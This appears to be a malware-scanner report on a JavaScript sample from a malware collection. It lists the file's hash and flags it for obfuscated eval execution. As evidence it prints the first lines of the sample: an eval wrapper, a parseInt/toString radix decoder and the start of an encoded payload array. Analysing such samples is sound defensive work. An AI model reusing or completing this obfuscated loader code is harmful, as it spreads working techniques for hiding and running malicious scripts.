Suspicious ^80% javascript-malware-collection Download

20151211_c662bfb62b66e8b68bc28155a463e136.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-2561ca1987fde1f2694b0505908a311bd22dabe42534ff44c297cc0722bad1edf39

Evidence

Obfuscated increment/decrement via arithmetic lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function xavWw(qksFoSlGfSR,lKUDYhMVSgAPA,EfKZTJZi){AKlk=parseInt(qksFoSlGfSR,lKUDYhMVSgAPA);QYNpP=AKlk.toString(EfKZTJZi);return QYNpP;}function ATPIKeZjiLNZsHX(WFzCgDAykrUrNkxIA){eval(WFzCgDAykrUrNkxIA)}
3function PRfHaRTjwVIjYKuPJntjFbOxoFIhgqyJPKCXlWeDuPgkUwezrHzduu(ZZvlCCxbcfDkd,PpHrpuSmvXgKhf){ return XRgUL[xavWw(ZZvlCCxbcfDkd[PpHrpuSmvXgKhf],(-32+53)/1,(4528+22)/455)];}
4function iqTyvmW(VYnSRvqKxyqJTEjcxsGyJcdcKVeGydLfdnFu) {return !isNaN(parseFloat(VYnSRvqKxyqJTEjcxsGyJcdcKVeGydLfdnFu)) && isFinite(VYnSRvqKxyqJTEjcxsGyJcdcKVeGydLfdnFu);}
5function VmqavCdttqt(XeeWTOjP,swVlKS){return XeeWTOjP.split(swVlKS)}
6var g=new Array("d","a","d","a","5d","4d","59","1b","5e","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …